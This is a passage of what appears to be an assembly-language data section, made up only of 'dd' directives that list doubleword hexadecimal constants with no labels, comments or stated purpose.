		dd 7EA7BAECh, 59C091B6h, 620020F8h, 3469B24Fh, 25EAFA0h
		dd 7F2DABDh, 0E16043EFh, 8300E9B1h, 0C5F71CC6h,	0D1F6C7h
		dd 2115A0A8h, 0FA1B0574h, 92EC8D00h, 0E340EDD9h, 0A9261D4Fh
		dd 357EC21Ah, 8FD74B6Eh, 19C380C3h, 1E3724D3h, 80EB9CF8h
		dd 0A829B2E7h, 30ECF6ECh, 3209281Ch, 9AA048C0h,	33CDDBh
		dd 0CE8AB921h, 0ADA1699Eh, 0FA009C7Dh, 4D01DF12h, 0E498B8Fh
		dd 1E251508h, 0E1F63940h, 0F700D081h, 41C120F1h, 627E6F14h
		dd 94D156FBh, 40C0607Dh, 30062A82h, 387F9098h, 2483AAF2h
		dd 8CB122AFh, 213A0830h, 0F2D670h, 0A2D98F2Ch, 0B2740E1Ch
		dd 9E7E1100h, 7C728A7h,	68201330h, 0CEDF074Fh, 5E34CAE8h
		dd 7015746h, 3D0C0639h,	8720F435h, 5853C831h, 0EB00E5E2h
		dd 0F350DCCEh, 0B1502BACh, 5C0153F4h, 0FACB7EF6h, 9961252Fh
		dd 0F2B3188Bh, 1D0C0380h, 0F600A965h, 0B1D1BD49h, 126BE3h
		dd 2393CD59h, 0EAF2A80Eh, 913460CCh, 1C3C304Ah,	3218B669h
		dd 4320B064h, 30530785h, 312FD80Ch, 0C1D27444h,	1E78B619h
		dd 5D84489Fh, 0F227048Ch, 38FCAAAFh, 0F2DF006Fh, 0AE2A38F8h
		dd 0E400D7D3h, 4A35BCA8h, 0F4F1420h, 0F55BCDE9h, 0AC80BF60h
		dd 17008C23h, 94B3CF9Dh, 7A7B3424h, 0F51300C6h,	0CCF3573Dh
		dd 700EB8CDh, 80733872h, 58841F82h, 2AC83DB4h, 54837780h
		dd 0C340BA33h, 9503E00h, 0F707E57Eh, 0D7E21Fh, 8F515817h
		dd 0C01026Ah, 1D447A3Ah, 1F8007E1h, 0A3FD40D8h,	0AB6300FEh
		dd 3F9EBA8Ch, 5E028221h, 9354AC7Ah, 85B1600Ch, 8869003Dh
		dd 0F5085045h, 0A3009A98h, 7120192Ah, 7B33E72Eh, 4B9900BCh
		dd 0DF3AA66Eh, 957436D5h, 0B142700h, 8A4D476Dh,	0C1D7E4Fh
		dd 96CF717h, 0AE3A7048h, 0CE7E07E5h, 808E5837h,	53ADD146h
		dd 188FE947h, 4B06FB63h, 0C6031148h, 3B3917E1h,	554CE1BEh
		dd 9C91980h, 6122E085h,	0FC0FFE16h, 377F4600h, 4FD93Eh
		dd 979B8D2Eh, 0CC29D6ABh, 397E68C0h, 38742CC2h,	8B8054F2h
		dd 5867229Fh, 0AAE6D840h, 6B37BD14h, 23F3004Ch,	0CC4ACB6Eh
		dd 88540B1Eh, 2001998Ah, 80D2D3D5h, 0F48B4688h,	3E2BC5E4h
		dd 0DC807F3Fh, 56FCF9FBh, 0C93A77D2h, 4C250CE3h, 0E8C4D8E6h
		dd 0E1051D7Dh, 5683FCA1h, 8E6AB258h, 6F3715F0h,	11D01F32h
		dd 8604B7CFh, 10D4EFE7h
		dd 2047D300h, 9DA83584h, 7A660085h, 0C55E04E9h,	0A001E76Ch
		dd 0D3D159CCh, 29884707h, 188881F1h, 84E49045h,	515F1DDFh
		dd 48AA1182h, 11C1D811h, 79215335h, 8831C608h, 6F88CD1Ch
		dd 7FAD9139h, 54363A00h, 0D3A1B60Dh, 1142608Ch,	0C38AA4BFh
		dd 0CF4440h, 5F50A2E0h,	0DFD528B0h, 50A8303Ch, 8A0010CAh
		dd 647367F6h, 0FEF94EBh, 0C372BD66h, 80110464h,	0A99E4820h
		dd 0E4C5CB1Eh, 2D5DD681h, 9E47E3DBh, 8F8A1E10h,	0B4910081h
		dd 0D5C71D0Dh, 0B200014Eh, 34F9F605h, 0CC0423h,	41E33F3Bh
		dd 0E56FD945h, 22F71900h, 0A40FFFC3h, 0A8AF0F73h, 5C006490h
		dd 0E90CBE7Ch, 0F4CCD1h, 520107B4h, 0A0109479h,	342687h
		dd 0CC46F669h, 411DF9F8h, 0F2F19901h, 0E2A643D2h, 5EABD8h
		dd 0E6D98C5Dh, 112F770h, 0F46ABF01h, 7A2857A1h,	7869D0CCh
		dd 0AAB0005Eh, 7838BE26h, 901C4D8Fh, 3E949Ch, 4FD644CCh
		dd 625189Bh, 0CD5C7D9Ah, 52016806h, 0B16C2D1Bh,	2C20717Ah
		dd 70AF3816h, 0C3EDA782h, 0A49830C5h, 2C00849Fh, 968C6991h
		dd 0E2E69A65h, 60E93E87h, 12257D81h, 70432FF1h,	0AE3C1E0Dh
		dd 0EAF000ADh, 0C2723BFBh, 0B704008Eh, 878CFF02h, 923FC0ABh
		dd 0B8490731h, 3CA0103Eh, 14CFEECh, 0C5F8FF2Ch,	0EC744FCFh
		dd 0E707DEC2h, 4A7B0862h, 32E47920h, 8C1700FDh,	8D9B9391h
		dd 0B5004410h, 1DC1C883h, 245F53D7h, 1239C15h, 0D3B16FAh
		dd 0C52E83Eh, 49003271h, 775A3F64h, 34DD2Bh, 9BCD246Ch
		dd 0B2FFFD5Fh, 0DE25EE05h, 0F400469Fh, 22541C74h, 48820098h
		dd 7CE8AB0Dh, 763C9C7Ah, 0C55100D9h, 0FE0CF3D2h, 0AD0500D7h
		dd 6E707134h, 8B0ED9B8h, 0C0AAA947h, 72C19A1h, 75E73AC8h
		dd 9B0A37BFh, 3C023A0h,	3A0E109Ah, 0C7D08FB9h, 76080FEDh
		dd 449AB722h, 7E57B500h, 86A6012Fh, 626BB2Bh, 92A2E080h
		dd 18A5FF00h, 81497AF9h, 0C93B28F2h, 0B88A71A7h, 891E00B6h
		dd 0EFA47BB3h, 0AB008652h, 0E093D6A0h, 3C50FDBAh, 0F3813EAAh
		dd 0E76123E2h, 0AD37F89Ah, 86C1500h, 58D3B8BAh,	57D00FBDh
		dd 95E8042h, 5400C2AAh,	19851C89h, 1B36C805h, 80BFC08Ch
		dd 6CE7229Bh, 60959A26h, 2C00D092h, 0A7302CAh, 3C8EF78h
		dd 4A4F0519h, 54BA92h, 0D1C53D8h, 0A900C391h, 9BA421DBh
		dd 6002BFh, 0D80C304Bh,	0AC4666D4h, 75C218C0h, 1365463h
		dd 0F82DDAFCh, 0CC2B9952h, 0BF009CB3h, 1CF45032h, 906B21BCh
		dd 35200000h, 2CC76785h, 7200EF3Fh, 0DD51C8CAh,	33AC14Eh
		dd 0C215E0E2h, 66AB1E83h, 12524480h, 2E057C09h,	0A71B02DEh
		dd 6E480BDh, 40A9D1FAh,	0E4007E22h, 63F74DD9h, 307FB45Ch
		dd 0AA10DA2Bh, 7D20AB5Bh, 4BB91E30h, 0BAA9404Ah, 3A2ACFC7h
		dd 85004C78h, 1B2CBBDh,	7F1D173Dh, 0E43950E6h, 7EA7013Ch
		dd 0AC7F6378h, 45944053h, 0B5004705h, 2EAD9D18h, 0A08C781h
		dd 0A9677741h, 36C080B0h, 24F93A4Ah, 5E258200h,	5212922Bh
		dd 7A053CECh, 80BE9F9Fh, 19836BB5h, 9D013093h, 6AFAF120h
		dd 7C205B68h, 809CA057h, 6474ABh, 0CF9419D5h, 0E44309DCh
		dd 9670BDh, 9DFE9E7Eh, 5C79958Fh, 0A56E58h, 1AB6F903h
		dd 0BF130Ah, 66B07D17h,	1E01CE59h, 0C8148426h, 0C076728h
		dd 348785FFh, 42A044B0h, 58D74C68h, 5041F100h, 3F6A9E17h
		dd 4AE9100Fh, 0A15100C0h, 7E39FBBBh, 2F7D97h, 483F57A9h
		dd 0E7CD7CB2h, 223E1E04h, 2FC0B987h, 0F4781006h, 25A07BCh
		dd 90D011F9h, 27E56520h, 975C0C00h, 0A9C75F4Fh,	6CC13F5Bh
		dd 3D8A200h, 0A694CC58h, 3E8E190Fh, 5598A05Eh, 39BA836h
		dd 0C51A1B2Dh, 47E08492h, 8000202Fh, 21BA3B1Dh,	449E83h
		dd 0D3827760h, 52DF2501h, 769F8003h, 0B80459DEh, 83115Fh
		dd 3A20AB2Dh, 0F2A1D88Bh, 30576D18h, 0A1488h, 0B7F1DF6Eh
		dd 3E886218h, 74FD9107h, 3B208E65h, 3BA30A6h, 2282C9Fh
		dd 0E8F01EA8h, 97004DFDh, 478914F7h, 38F14639h,	49839505h
		dd 0DB5A2DA8h, 0BB623B88h, 230D2200h, 0F3EA68B2h, 7A71004Fh
		dd 0FF76AE15h, 160E17ACh, 833B8B69h, 0B84B316Fh, 9F4249h
		dd 7351845Dh, 0BCC0CB77h, 0FB07D472h, 0A3F6471Fh, 9FA6C270h
		dd 237509E5h, 480DCB6h,	0B490782h, 4E125090h, 0E402AF05h
		dd 40F91EA5h, 0DBC76Ch,	13D4D1D8h, 3885AAF5h, 80ED9C3Ch
		dd 0A698C109h, 5D5B2B9h, 695957D4h, 1D1CBC21h, 803D38EDh
		dd 8FC5B195h, 0B90D5h, 9C8CB3ECh, 0BE1845FBh, 17BB3200h
		dd 0E08564A9h, 0DC906Dh, 0F9CE50DAh, 907BCF63h,	0B608DE50h
		dd 0D9774E07h, 0F580D184h, 1EF4197h, 7BEAC6E6h,	0E0404665h
		dd 0BE00D2E2h, 3B395866h, 9233C209h, 0F53848DCh, 23356905h
		dd 98278254h, 0F9B718C0h, 0A212A800h, 0D9073CB1h, 0E679E3h
		dd 5B3DFE97h, 4742EAAh,	64B2AF1Fh, 59BB8700h, 712D3E2h
		dd 97F3E50Dh, 95B970E1h, 0A800B02Bh, 0E0F8A084h, 0DA27F7h
		dd 82B1D457h, 0DB36D68Fh, 50EC8300h, 0A60C9F7Eh, 569D0246h
		dd 6F30DD16h, 9CD060F5h, 707F79FAh, 0C8790035h,	6D1623DBh
		dd 6800A0F3h, 9850720Bh, 30D319h, 0DB5A755h, 25DCFD8Ah
		dd 132FC303h, 0A3BEA6E7h, 0EDB0F707h, 845253h, 78A27E47h
		dd 194C9FC8h, 73915900h, 0EB4458ACh, 0B31107CAh, 0C2B92565h
		dd 0C8806CC8h, 0D1B5E822h, 43C7AC01h, 0B6382668h, 369E1080h
		dd 0B98C226Fh, 0BF005EF0h, 2ECDA729h, 3C4E23A8h, 0C90B33AEh
		dd 6800ABDAh, 29A10261h, 0C8383B28h, 80126039h,	1937010Ah
		dd 7A9668D2h, 0A69B00A3h, 60DDCD27h, 3C9818C9h,	19CA7E0Eh
		dd 52FE0075h, 72597DCEh, 0CC1507BAh, 0E3DB37E4h, 3FC3C433h
		dd 88AF1D0h, 51638000h,	894DEE3Ch, 0B04E604Ch, 0B3A5579h
		dd 0E8C8DA00h, 20810E64h, 0BCDD0269h, 262FB4B9h, 29A44460h
		dd 8D009D7Ah, 2E731A67h, 0B7159761h, 0ED260B58h, 951E40B2h
		dd 34799A80h, 0F17611Ah, 52D41626h, 7E4056E0h, 5500E31Dh
		dd 38698F8Ch, 0E169BFBh, 12D6772Eh, 2F28CD80h, 0AF00A847h
		dd 4608437Dh, 149E42CEh, 0C0570DDEh, 76286200h,	0F907EB91h
		dd 7867270Ch, 0FDE1079h, 0CC622EFBh, 0FF9D073Eh, 6E0DF0E5h
		dd 8D1EE368h, 900F2EEh,	0E0FE6C1Ah, 61C505A1h, 2437B69h
		dd 0A2D5A0C0h, 0E5FB6D00h, 36A800F4h, 0FA043314h, 2A0096F0h
		dd 0BFF35C62h, 1ACE5Fh,	4939CCC4h, 16E4BBA4h, 0EA4B5B00h
		dd 48127133h, 4EC20160h, 0DAAA2847h, 0F8B7E158h, 7F2605ACh
		dd 9700C5B6h, 0C08E073Eh, 0BD6500CFh, 5FCA9F21h, 0E800626Bh
		dd 0C68788ADh, 0B8B4C5A3h, 0C09E58D2h, 80EB5200h, 44D93E7Fh
		dd 80ACCE3Ch, 6C8B2EE6h, 9D6ECh, 0F92B1E2Dh, 0C016CF14h
		dd 8F4FF73Ah, 80FB5D6Ah, 0FFE0A4DDh, 26E50EB2h,	0E7C1A511h
		dd 0DA406CB5h, 1B53ACE0h, 0D841E11Dh, 5D00C4A4h, 3DE2BE1Ch
		dd 3EAE0FBFh, 0B8C03CE0h, 9DFFC412h, 0CFE24DEEh, 3706A500h
		dd 902B38AAh, 324000B9h, 3ADE3696h, 8D485EB5h, 486B30AEh
		dd 0F6920215h, 90F0070h, 124C51Fh, 0FA037A8Eh, 0C0D1A0D0h
		dd 0B1735Ch, 13B205D5h,	0BE06B40Ah, 7A7B0F01h, 7522C56Dh
		dd 35201161h, 3D9800B3h, 0F2213EE9h, 52F486E0h,	6D42A507h
		dd 0C14FA4ABh, 687C953Fh, 70F3B070h, 0E7FAC0DFh, 0F485AB18h
		dd 392F5704h, 0CA01F30h, 207305FEh, 0C0EE4D29h,	2BA90F08h
		dd 1FE0BF5Ch, 0B5C2D660h, 58CA7FE9h, 6E4000E0h,	6190CD01h
		dd 0EE0321D9h, 96ACDF24h
		dd 5CFD88BFh, 0D5E61F3Dh, 1C9DC0A6h, 8DFCEE89h,	94540400h
		dd 3B3144BCh, 18160055h, 2330A858h, 1209AA97h, 0A789FAh
		dd 0FFC6D7E2h, 0A16100A9h, 0EC44CCAEh, 0FB28122Eh, 841DF44Ah
		dd 77803A9Dh, 8EF3D925h, 0D090006Dh, 7AB6D18Ah,	0FE00897Dh
		dd 0A01316D7h, 56E10Eh,	0F8DA2B81h, 0B18EF45Dh,	6FBF9300h
		dd 0C933F0ADh, 3BD00C7h, 0ECCFBA44h, 0FF27516h,	5A7AB900h
		dd 0A93574ADh, 39CB2B0h, 0CAF0BA45h, 63F23414h,	722DCB60h
		dd 71407000h, 0D0C79D23h, 73F500EEh, 0FB8DD2B6h, 0AC003685h
		dd 273AC5ABh, 16F8DD49h, 3905BAAh, 9B63EB3Ch, 112CFCD0h
		dd 0B200BC98h, 0AE68D7Bh, 0F4B4F789h, 3101268Bh, 4A8237B3h
		dd 0F80F0084h, 8EBAB6B5h, 3B51300Ch, 0EC6111FFh, 0FF0E704Ch
		dd 9AD4E0h, 6544B8A5h, 0E5C2201Fh, 38079F7Bh, 0BD532C51h
		dd 0D6269760h, 0A00B0242h, 0F367EF43h, 0E01F40E0h, 0A640A905h
		dd 0BC1D2C87h, 9F36BA07h, 7A18200h, 778B0225h, 3EF87A04h
		dd 4EB028E0h, 0C8C04801h, 5CF25DA0h, 0B31CE0h, 0D6E7F9FFh
		dd 571246ACh, 5A00C9E0h, 0DD0D081Fh, 4831F08Bh,	0B40309ADh
		dd 39D06251h, 9B00E87Dh, 0F077A69h, 0A08705B5h,	0E0C00608h
		dd 3E21888Ah, 91C41904h, 0DCB0A4B9h, 95902423h,	2E3541C4h
		dd 69ADCAAh, 0BE33E8C6h, 1CCBA88h, 0A26E6AC9h, 0D02CD9A9h
		dd 363FFBC8h, 0BFAD8180h, 3B1F9D6h, 4800F028h, 0BCBE3868h
		dd 8D09EB29h, 809DE70Fh, 0B7F4130h, 0DDF4005Eh,	9BECBD58h
		dd 0E803294Dh, 0D5E90CC4h, 8ED801FEh, 0C7707869h, 6C7DC89Ch
		dd 44E3006h, 489858h, 0DBB20AEBh, 68DE01Dh, 0B6C71A24h
		dd 0F7E6D907h, 14803984h, 584A07D1h, 8009C11h, 0A72874F0h
		dd 0D0075D4Ch, 0E6269A24h, 2DA4D950h, 8F8800C9h, 0E90B7AB5h
		dd 89C0911Bh, 107E174Eh, 0B1B0C01Dh, 2B83D7EFh,	24924Ch
		dd 8734A08Dh, 2E8ED374h, 5BFB01h, 0AF73B323h, 8C049084h
		dd 10F8E1F9h, 0C63BED80h, 0CCB7007Fh, 0D2272B4Bh, 805D5D4h
		dd 635C0126h, 3E9526C0h, 0B4350039h, 0FA8BC03Ch, 0E300E269h
		dd 0F9F8A2C3h, 8EF5B6h,	0A14CF22Fh, 3ABA6F88h, 4800A896h
		dd 89048B42h, 0B97656h,	5ED00D07h, 0FBA52292h, 1AA48400h
		dd 0F7256A85h, 823032Dh, 50995611h, 33F3F026h, 0DA742201h
		dd 9875EDD1h, 88DD1082h, 0A620F4C8h, 6CC136h, 0FC4BF196h
		dd 98CB7115h, 380D9D00h, 13702FD7h, 0D2BA2452h,	0E36B8128h
		dd 0C44EB6DFh, 9E038729h, 4940616Eh, 0F7D4D0AFh, 53050359h
		dd 9573E47Ah, 778967F0h, 2FBCD702h, 5A6847FFh, 22E000F8h
		dd 91960269h, 4D004EAEh, 51B9AAA1h, 9011E6D6h, 0E350FCBh
		dd 0E4204268h, 2A7F844Ch, 80C2D52Dh, 54164658h,	13721F66h
		dd 41F18058h, 752B157Dh, 1875C50h, 0AB5A0803h, 0B00E9AA0h
		dd 46AC41Eh, 302AB5B0h,	18EC8083h, 1BB87E61h, 0E88E480h
		dd 0F43A4124h, 3C1FA100h, 5C0356Ah, 2797923Eh, 84CC85B9h
		dd 0F1C80F13h, 4E22B0Ch, 0EF3E5000h, 6E99F4E6h,	3B360355h
		dd 0F9ABB1F0h, 5EADC488h, 0FB614400h, 0E1912D1Bh, 0B5E605D8h
		dd 80F8AEF4h, 8A82CAC2h, 8661DA00h, 0A73A8B38h,	0A6E82EE3h
		dd 330D0017h, 53EC36FDh, 87974239h, 3D87DF78h, 0AB087790h
		dd 0FF7A1F6Ch, 594F40D8h, 26BFD272h, 64FC7500h,	85DDEB5Dh
		dd 88682C15h, 36F501A4h, 70A02C7Ah, 98B23993h, 68B89200h
		dd 0E9571C41h, 0C89330D4h, 0DFEC6E11h, 9C9220h,	17560F8Eh
		dd 93E37E3Eh, 57FEBD1Eh, 0D7AA3A07h, 0B3311020h, 8B9A1751h
		dd 30D0003Fh, 346992C3h, 0A73D5400h, 0B26BBA86h, 0E558161Bh
		dd 7E720099h, 0FEE41485h, 2B08248h, 212FC315h, 745A9Ch
		dd 2703DA8Bh, 3919A12Bh, 0F74E7100h, 47AA12A8h,	0B785005Bh
		dd 0E5510802h, 993AE9DDh, 60B78EDh, 80E6965Ch, 0D6C577D4h
		dd 0F432EBB7h, 0A717007Ah, 0A380539Bh, 500B881h, 64F1FE0Bh
		dd 6FF736h, 5C73EB44h, 0BDE86EB7h, 0C20408F2h, 4935438Ah
		dd 4CBF4C80h, 6B4F072Eh, 7EE1B364h, 5826BB03h, 94DCB988h
		dd 343C400Eh, 605DB2BAh, 4CEBBC0h, 1782E1FFh, 9F9856h
		dd 462169BDh, 0D858142Ah, 0AFB40163h, 4737C0FBh, 0B8EF8231h
		dd 834CD7h, 52EB0676h, 209B9417h, 5770B80Ch, 1F156192h
		dd 83EDDC54h, 0ACA32417h, 6D9E28A0h, 7C1F20DEh,	0F004201Fh
		dd 90DB38h, 3924256h, 1A36DCBAh, 11A0D4B8h, 1800F7A6h
		dd 1482FA3Eh, 0E21C570Fh, 0ACB685h, 0AAEBF151h,	197542AEh
		dd 0B7ABBF00h, 0A7D0ACA1h, 10F9035Eh, 4928C295h, 18079804h
		dd 0DC0DEBBCh, 0F760E479h, 0B2713Ah, 8396D01Ch,	3B8499h
		dd 0BEB8CC6Bh, 0BB400C78h, 59068705h, 74051755h, 6003790Fh
		dd 0C8B24E52h, 0B57D7Bh, 921656F2h, 0BC83CC58h,	78006BFEh
		dd 0FE133BF9h, 745F73Fh, 4E216273h, 9CA350DCh, 3507841Eh
		dd 6BD117D6h, 0B8117013h, 74C16088h, 5B9303D8h,	8B241B16h
		dd 0E8ECC29Dh, 4407E1D0h, 49CF481Dh, 0AE869D60h, 74610639h
		dd 86F65B63h, 0A28EC100h, 124B2B13h, 23E100D6h,	3C015338h
		dd 1800E6C3h, 2B4A7033h, 13052A2h, 3674DC31h, 8024A8D8h
		dd 459CFE0h, 1C1E06C5h,	0AE29Fh, 68A370D4h, 0A900CBC7h
		dd 55D51C3Ch, 0AAD344h,	0F7C3050h, 38E66AD0h, 610088B2h
		dd 0D8797ACBh, 6AC19F2h, 9C321EF3h, 1F3C2045h, 76C91A68h
		dd 70BD6148h, 65A3DD0h,	0E9AD9488h, 0FA004934h,	0FEAFDA84h
		dd 1FB819CBh, 803B501Fh, 352D510Dh, 562A289Dh, 8E00FCE7h
		dd 7CC20317h, 39BEC48Ch, 4680140Eh, 0F168CD3Bh,	0C4808D0h
		dd 0F7300720h, 55601B4Ch, 0F059DAh, 0D06E4D1Ah,	9486A0A6h
		dd 0BCA0237Eh, 4B0010B9h, 0B65DF5F0h, 25D5A2h, 68507AF9h
		dd 98153306h, 43227100h, 0C1830F75h, 3211603Eh,	8BB7CEEBh
		dd 0D077B00Ch, 0D5169Ah, 0BC6062F2h, 52D175F9h,	0F88AF000h
		dd 8CE355EDh, 1CD80276h, 22A8EB6Fh, 0C31C8A0h, 0F900B4EEh
		dd 95BD3A9Bh, 80B673h, 5E4A6E8Ah, 0F69F817Ch, 0D9AFC300h
		dd 8D19BB29h, 0EF66Fh, 471FA5D5h, 35C1768Ah, 6CFA321Eh
		dd 0C94BC3C3h, 37E00031h, 30F46757h, 40CFB488h,	0AFA26070h
		dd 74746C4h, 0B56E5D4Eh, 21784E4Fh, 0AF3A9974h,	7CFD80F8h
		dd 0F1246219h, 7705000Ch, 0F6A5AD79h, 90C0BD53h, 0CD17B5DBh
		dd 22340CAEh, 94806B03h, 2AD66308h, 70B930D3h, 8DEF1E6h
		dd 35117D07h, 0C1152590h, 0D38503F4h, 7103025Bh, 802E4039h
		dd 25B8A289h, 30A3DA13h, 90495CC2h, 0DC00698Bh,	6FD55D32h
		dd 0E8D08DF0h, 9621C084h, 0F7516973h, 834AC500h, 4C384B1Eh
		dd 4EC14C90h, 3B226100h, 72C3D484h, 0DD94FA13h,	0B8F2A300h
		dd 49F2586h, 0C28A4FA3h, 1C0FECDh, 0F132C3h, 0DEB3BC7h
		dd 8F85EE78h, 0A2489900h, 0C13FAF96h, 63671E90h, 52DF00F4h
		dd 42E9F04Ah, 0F700C0F6h, 0BF34489Ch, 1B5EDB9h,	0AD6593D1h
		dd 0ECCC5476h, 0B7027BF9h, 0E1C361B2h, 0C71D6095h, 328D0728h
		dd 0A0023AD2h, 8CDCA534h, 88B20C00h, 83DA5145h,	35DF00F9h
		dd 920C797h, 0FE00C26Eh, 513D037Fh, 0ED40A2h, 88271064h
		dd 34D9B6A0h, 47443300h, 8715E3CEh, 0D21F00A6h,	110F430Ah
		dd 2300E037h, 3B629453h, 2AEB297h, 0BBCFF4AFh, 0EBE23059h
		dd 11DAF600h, 0FE028047h, 1DC6F18Bh, 36C5C26h, 4F5E2BFBh
		dd 953143C0h, 5572D9F6h, 0F7BAE00h, 47BC120Ch, 4B660039h
		dd 0E7248EE4h, 79004103h
		dd 0FC1CFD2Eh, 758C6Dh,	23CC4261h, 0D92B1067h, 687BA600h
		dd 71B501FEh, 460C1E2Fh, 0C6750007h, 8D855119h,	2D933400h
		dd 9D3A330Fh, 45010CB9h, 437ACF8Ah, 7005F7Dh, 2E47B434h
		dd 0C3D66h, 0B9E4895Ch,	316B266Ah, 210B8F00h, 0F37A7394h
		dd 21775FCh, 661D1BF4h,	14C04585h, 2E0055C3h, 64E51939h
		dd 0EBF268h, 0EA6E7724h, 0A10FE721h, 0D5019DECh, 10963997h
		dd 3C80FE11h, 3BDAAB4h,	0C919E0F0h, 11190AE7h, 1E81044Eh
		dd 0F0464CCCh, 2C00A439h, 602974E6h, 0F01C8B3h,	40307D0Eh
		dd 61ED1E00h, 3918CA44h, 5C292AB0h, 0DE6688EEh,	44B93F40h
		dd 40206A65h, 0ED7822E5h, 51131B31h, 0BF116305h, 4229B93Bh
		dd 51F94819h, 0E56C08D1h, 7D10B012h, 625D8807h,	0CA2FB488h
		dd 0C14ACA1h, 0E951DD0Fh, 2DEF14A0h, 6441C889h,	0F512DB19h
		dd 16A91482h, 23E9C422h, 792880DFh, 673764C1h, 0B5042917h
		dd 0EF060900h, 0FF0056AFh, 5AB442BDh, 260C14h, 98B1CAC4h
		dd 0DD484D36h, 3532A400h, 7C1E01FBh, 106B0045h,	0AABFAC1Ch
		dd 1F0E0489h, 4EE3F42Dh, 0D52BA7E8h, 95F8A090h,	0EA8C00EDh
		dd 0BA44F03h, 0B60098D8h, 0A6AC500Eh, 7292F809h, 42A3004Dh
		dd 0DEDF8CB8h, 27017188h, 10141512h, 1881B7E7h,	0A9426226h
		dd 4170D80Bh, 0F4699B00h, 8B172F6Dh, 7210C071h,	0C4F9094Eh
		dd 0CB8500EBh, 519800D7h, 1440E11Fh, 20FD35E8h,	0C9121128h
		dd 4F00E941h, 2ECB43F5h, 0B6C4282Bh, 8B461EE4h,	583C072Fh
		dd 0D742607Fh, 563E72ACh, 944C0092h, 3E969C1Fh,	38FFB006h
		dd 5866A597h, 8F03E850h, 0DA9AD15Bh, 2F0E8F4h, 0A6170091h
		dd 99426C8Ch, 400FFE77h, 0C0E2A859h, 10FA39CFh,	24AAEA0Ch
		dd 3A099E21h, 65D9900h,	0AB2CAF73h, 6709DC00h, 4167DCAh
		dd 17CC009Dh, 0B82A80A3h, 4074FFF7h, 4EB9EA14h,	0C2F90098h
		dd 850A69F3h, 1752003Dh, 7A554F04h, 7B7B8753h, 8AFF9B00h
		dd 21E1D78Fh, 17CB0068h, 0C3B1C063h, 0FA3E2628h, 0D4E00002h
		dd 61A7432Dh, 0E41900FFh, 523749C8h, 0F92DB10Bh, 8E5426h
		dd 0C9644F7Ah, 4C00D353h, 9C4938EDh, 8604D2h, 3DCBB927h
		dd 0D97D5531h, 46D4C900h, 0C2178972h, 77690044h, 1BE5C4DDh
		dd 9198AC20h, 0DCE65900h, 69F05BBh, 0FDE026D9h,	9862000Ch
		dd 6A96A92Eh, 84DF6C00h, 4044DE14h, 0B2500057h,	0FC9BFAF3h
		dd 4CB8B3D9h, 12538800h, 8F96825Eh, 37A400D1h, 0F0BB6A5Dh
		dd 0AB000BF7h, 0EAE256C9h, 3A703252h, 0D7803FD0h, 1ACB1FA3h
		dd 9578CEECh, 29A08B00h, 3160C108h, 623A3A28h, 2C77D800h
		dd 0D6147245h, 3C6A9324h, 34997300h, 0C0AA0CC2h, 4BB8D110h
		dd 0E30496CDh, 24FB85F8h, 8DDE70D0h, 87290F86h,	0C07CED60h
		dd 0E28E475Bh, 8B37C579h, 6C154849h, 0BEC6F000h, 1F7B0DC0h
		dd 40B245ACh, 1D62B1FCh, 2B000824h, 0D66CE375h,	19CDF0B3h
		dd 385E14A0h, 0C0D8D4D2h, 4A483B76h, 5900731Eh,	2FDF88E8h
		dd 0E47A86h, 9CF3DE16h,	0E05A3D6h, 65109A0Eh, 3ED3E5E1h
		dd 0C1F899C0h, 85700087h, 625ADF7Dh, 0B100CDC6h, 3ED28A6Dh
		dd 388D2E10h, 1F1DFDD4h, 0A8078087h, 7160AC16h,	42157B01h
		dd 0ADAE1B84h, 6C883280h, 54E5BFFAh, 5FAC2707h,	28D1B34Dh
		dd 33CC9591h, 93EF00CFh, 55BBE06Fh, 0F5247674h,	130004DBh
		dd 8D0ACCAEh, 786E1789h, 0EA0900E3h, 3C5D9C37h,	0FEBFB602h
		dd 0C0BDF0A7h, 764FD16h, 4E714DF7h, 40D5109Bh, 6D0E6951h
		dd 403E4E7h, 4819897h, 0AAEDF6B6h, 0EF14C608h, 7A40E09h
		dd 0CA0BC7E9h, 3D8DC9C0h, 6C4D0087h, 2555F71h, 627535B5h
		dd 0C2B37900h, 104E89A9h, 2DF2043Ah, 8018C161h,	72427A80h
		dd 0C39BA401h, 76D68D7Fh, 1EB61980h, 60D9B1C8h,	0DD82A811h
		dd 0BA89FB00h, 8001D00Bh, 0FA753076h, 0B6872502h, 40BC90D8h
		dd 77951Dh, 597F4915h, 69759B7Dh, 0FCD1C709h, 0DA088031h
		dd 0A8069Dh, 30018EC4h,	0AF285218h, 0B9117C00h,	2B33D8DCh
		dd 0B77E0063h, 0CD8561BCh, 7B1C2CF1h, 2FC05462h, 0F406EFACh
		dd 4923005Dh, 3524C89Fh, 1E00A7BFh, 1248E73Eh, 999E9958h
		dd 0BBCE80ACh, 922F1A51h, 57707200h, 0A23DB06Ch, 7A1C00BEh
		dd 11CD0502h, 4500A11Ah, 969123D1h, 3D7F5C3Fh, 1EF461F8h
		dd 42B81DE9h, 0DAFC4BA7h, 9FD10047h, 16008418h,	951D6C0Dh
		dd 3835FC0h, 6771082Ch,	44DF0CBEh, 2090800Bh, 0E600A1F1h
		dd 82758A77h, 38913EDh,	23F4F7DFh, 0CDB85B1Bh, 860016ABh
		dd 97E67249h, 6E331Dh, 0C3C0B946h, 767B02CFh, 2E174400h
		dd 2BCC576Ch, 295F17EBh, 149C49CDh, 8B3C3880h, 9349204Eh
		dd 344848h, 61BC944h, 0EE0BEEE4h, 63481FB0h, 0FDE347E1h
		dd 0F0B740D7h, 2D3E7E09h, 736E0168h, 2A366056h,	52571080h
		dd 27C8C5C3h, 0F1F680h,	0B5A7150Eh, 2CE2848Fh, 0D68218C0h
		dd 0FCF35EAh, 3488F59Fh, 0DCF9FC01h, 29A82858h,	0C680FC51h
		dd 672B2A28h, 0C8D0024Ah, 3D0712CFh, 9EC08662h,	5100E74Bh
		dd 0B6C9FC8Dh, 7B566601h, 2050016Ah, 0D2DFE5F0h, 91E84012h
		dd 0FD00845Bh, 99A87323h, 0B4CF27h, 3582B88Eh, 0F6C297A9h
		dd 0F358D50Eh, 0AC071336h, 607E6F6Ch, 0F315BCAh, 89DC0435h
		dd 0C730A9B3h, 41A110BFh, 0C800219Fh, 5B5F7E36h, 0C925A2h
		dd 30C3C5BDh, 8831E533h, 3AA19303h, 0C08B8047h,	1FA2412Bh
		dd 84FCB505h, 81DD01BBh, 440DF2CCh, 87A20EC8h, 0E0702BC7h
		dd 0A68B3986h, 0C3CE1228h, 84002C7Ch, 0F6F9A40Ch, 77C34740h
		dd 20C90032h, 0DB6F7D83h, 5909B548h, 0B38851h, 2CA0E3DCh
